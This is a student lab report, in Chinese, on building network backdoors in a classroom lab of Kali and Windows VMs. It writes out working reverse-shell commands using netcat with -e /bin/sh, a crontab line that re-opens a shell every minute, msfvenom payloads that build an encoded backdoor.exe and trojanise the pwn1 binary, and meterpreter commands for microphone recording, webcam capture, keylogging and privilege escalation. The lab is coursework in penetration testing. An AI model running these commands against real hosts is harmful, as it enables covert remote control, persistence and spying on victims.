1.实验内容
1.实验任务
通过netcat获取主机操作Shell以及通过cron启动特定任务是一种常见的网络攻击手法。netcat是一个网络工具,可以在网络中传输数据,同时也可以用来建立反向或正向的Shell连接,从而实现远程控制目标主机。通过在目标主机上设置cron任务,攻击者可以实现定时执行恶意操作的目的。
另一种类似的方法是使用socat工具来获取主机操作Shell,并通过任务计划启动,这种方法与使用netcat类似,但socat在一些方面具有更强的灵活性和功能。
此外,攻击者还可以利用Metasploit Framework(MSF)中的meterpreter或其他类似软件生成可执行文件,然后利用ncat或socat等工具将其传送到目标主机并执行,以获取对主机的控制。meterpreter是一个功能强大的载荷,可以用来执行各种操作,包括获取目标主机的音频、摄像头、击键记录等敏感信息,并尝试提升权限以获取更高级别的访问权限。
最后,攻击者还可以使用Metasploit生成shellcode,并将其注入到已经被攻破的系统中,例如通过上述方法中的pwn1漏洞,从而实现获取反弹连接Shell的目的。这种技术常用于渗透测试和黑客攻击中,用于获取对目标系统的控制权。
2. 学习内容
▪相关知识
1)netcat
Netcat,简称为nc,是一种网络工具,用于在网络中传输数据。它是一个功能强大的工具,可以在各种操作系统上运行,包括Unix、Linux、Windows等。Netcat最初是由Hobbit(也称为Avian Research)创建的,它的主要功能包括端口扫描、传输文件、监听和建立连接等。
Netcat的主要特点包括:
-
简单易用:Netcat提供了简单易用的命令行界面,使用户能够轻松地执行各种网络任务。
-
多功能性:Netcat可以用作网络调试工具、网络服务的监听器和客户端,甚至可以用于搭建简单的网络服务器。
-
支持多种协议:Netcat支持多种网络协议,包括TCP、UDP、Unix域套接字等,可以灵活地进行数据传输。
-
端口扫描:Netcat可以用于执行端口扫描,帮助用户识别目标系统上开放的端口和服务。
-
建立反向/正向连接:Netcat可以用于建立反向或正向的连接,从而实现远程控制目标主机或进行数据传输。
总的来说,Netcat是一种非常有用的网络工具,可以在各种情况下进行网络通信和数据传输,同时也是网络渗透测试和安全评估中常用的工具之一。
2)socat
socat是一种多功能的网络工具,它可以在两个数据流之间建立连接,类似于netcat。不过,socat比netcat更加强大和灵活,因为它支持更多的协议和功能。socat的全称是“Socket Cat”,它的设计目标是提供一种通用的数据传输工具,可以在各种场景下使用。
socat的主要特点包括:
-
支持多种协议:socat支持多种网络协议,包括TCP、UDP、IP、IPv6、Unix域套接字、SSL等,这使得它可以在各种网络环境中进行数据传输和通信。
-
功能丰富:socat除了简单的数据传输外,还支持诸如端口转发、连接重定向、加密传输等高级功能,使其在网络调试、安全评估和系统管理等方面都具有广泛的应用。
-
灵活性:socat具有高度的灵活性,可以通过命令行参数来配置各种不同的数据流连接方式,同时还支持脚本化和自定义功能,使其适用于各种复杂的网络任务。
-
跨平台性:socat可以在多种操作系统上运行,包括Unix/Linux、Windows等,这使得它成为一个跨平台的网络工具。
3)MSF
MSF是Metasploit Framework的简称。Metasploit Framework是一个开源的渗透测试工具,旨在帮助安全专业人员评估系统、网络和应用程序的安全性。Metasploit提供了一系列的漏洞利用工具和Payloads(载荷),使得渗透测试人员能够模拟攻击并评估系统的安全性。
Metasploit Framework的主要功能包括:
-
漏洞利用:Metasploit Framework包含了大量的漏洞利用模块,可以用于测试系统和应用程序中存在的安全漏洞,并尝试利用这些漏洞获取对目标系统的控制。
-
Payloads:Payloads是Metasploit Framework中用于执行各种操作的代码段,例如获取Shell访问、上传和下载文件、执行命令等。Metasploit提供了多种Payloads,可以根据需要选择合适的Payloads进行使用。
-
模块化架构:Metasploit Framework采用了模块化的架构设计,使得用户可以轻松地添加新的漏洞利用模块和Payloads,同时也可以通过自定义模块来适应特定的渗透测试需求。
-
自动化工具:Metasploit Framework提供了一系列的自动化工具,例如扫描器、漏洞利用工具、Payloads生成器等,可以帮助用户快速地进行渗透测试和安全评估。
-
跨平台支持:Metasploit Framework可以在多种操作系统上运行,包括Unix/Linux、Windows等,这使得它成为一个跨平台的渗透测试工具。
Metasploit Framework是一个功能强大、灵活且易于使用的渗透测试工具,被广泛应用于安全行业中,用于评估系统和应用程序的安全性,发现潜在的安全漏洞并提供相应的解决方案。
4)反弹连接
正向连接是指攻击者用自己的机器指定目标ip,主动通过某一开放端口去连接目标机器,如远程桌面、web服务等。而反弹连接是指攻击者指定服务端,等待受害者主机主动连接攻击者的服务端程序。
▪相关问题
1)例举你能想到的一个后门进入到你系统中的可能方式?
运行了从恶意网站或其他不安全的源上所下载的含有后门功能的软件、程序。
2)例举你知道的后门如何启动起来(win及linux)的方式?
通过绑定联动正常程序的方式。在你启动一个正常无害的程序时,后门程序也在后台一起绑定启动。
3)Meterpreter有哪些给你映像深刻的功能?
击键记录和打开摄像头摄像。
4)如何发现自己有系统有没有被安装后门?
可以打开计算机的任务管理器,查看可疑进程。
二.实验过程
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
1) Win获取Linux的Shell
-
ifconfig获得攻击方(kali)的IP地址。我们可以得知为
192.168.72.200
。 -
攻击方开启2303端口开始监听。
-
被攻击方(ubunt)将信息程序发往攻击方的2303端口
-
在攻击者kali的终端输入信息,可以显示在Ubuntu的终端
-
1.2 win10进攻kali(执行kali的shell)
-
Win打开监听,指令为
ncat.exe -l -p 8888
-
kali反弹连接Win,指令为
nc 192.168.43.126 8888 -e /bin/sh
-
Win获得Linux的Shell。可以执行指令Linux指令ls
2) cron启动某项任务
-
Win打开监听,指令为
ncat.exe -l -p 2303
-
kali这里输入指令
crontab -e
,选择nano,在最后一行添加* * * * * /bin/netcat 192.168.43.126 2303 -e /bin/sh
(每分钟获取Shell),到时间Win就获得了Shell
(2) 使用 socat 实现获取 Windows 操作系统的 Shell,并通过任务计划程序启动:
- 在 Windows 中创建任务计划:
- 首先,右键单击“此电脑”,然后选择“管理”。
- 在计算机管理窗口中,展开“服务和应用程序”,然后单击“任务计划程序”。
- 在任务计划程序窗口中,右键单击并选择“创建任务”。
- 在弹出的对话框中,填写任务的名称和描述。
- 在“触发器”选项卡上,单击“新建”以创建一个新的触发器。
- 在触发器设置中,选择“按预定计划”,并设置计划的时间和日期。
- 确保在“操作”选项卡上选择“启动程序”,并在“程序/脚本”字段中填写 socat 的路径。
- 完成可看到计划准备就绪,到预定时间可先发现任务已执行,会弹出socat.exe窗口
2) 在kali上执行指令获取Win的Shel
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1) 使用MSF meterpreter生成可执行文件
- 生成backdoor.exe,在kali中输入命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.43.126 LPORT=443 -f exe > backdoor.exe
2) 使用ncat传送可执行文件
- 在Win下执行
ncat.exe -l 2303 > backdoor.exe
,Win进入了接收模式,在kali中执行nc 192.168.72.200 8888 < backdoor.exe
(192.168.72.200为攻击者的IP)
3) 通过 msfconsole获取Win的Shell
-
在kali上 使用
msfconsole
指令进入msf控制台 -
使用监 听模 块,输入
use exploit/multi/handler
-
设置p ayload:
set payload windows/meterpreter/reverse_tcp
-
设 置反 弹(攻击主机)连 接IP(kali):
set LHOST 192.168.72.200
-
设置端口:
set LPORT 8888
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 获取Win音频,输入指令
record_mic,
- 使用摄像头进行拍照,输入指令
webcam_snap
- 记录击键过程指令
keyscan_start
,读取击键记录指令keyscan_dump
- 尝试提权,查看当前用户指令
getuid
,提权操作指令getsystem
可以看到提权 成功
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
实验器材
- kali虚拟机(攻击方)
- win10(被攻击方)
知识点
- msf meterpreter6简单应用
实验步骤
-
使用上次实验生成文件pwn1
-
输入命令
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.72.200 LPORT=2023 -x pwn1 -f elf > pwn_krf
生成有漏洞的文件pwn_krf
-
将文件发送给win10
连接成功
3.问题及解决方案
- 问题1:ncat无访问端口权限
- 问题1解决方案:将攻击主机和被攻击主机搞混
-
4.学习感悟、思考等
网络后门是一种潜在的安全威胁,它可以被利用来绕过正常的安全机制,获取未经授权的访问权限。通过在实验中构建和分析网络后门,我对后门的工作原理和实现方式有了更深入的了解。我意识到,网络后门可以以各种形式存在,包括在软件代码中插入恶意代码、利用系统漏洞实现远程访问等。
网络后门的存在对网络安全构成了严重威胁。在实验中,我模拟了攻击者利用后门获取系统访问权限的过程,并分析了后门对系统的潜在危害。网络后门不仅可能导致数据泄露和信息窃取,还可能被用于发起更广泛的网络攻击,如分布式拒绝服务攻击(DDoS)和僵尸网络的建立。因此,加强对网络后门的监测和防范至关重要,以保护网络安全和用户数据的完整性。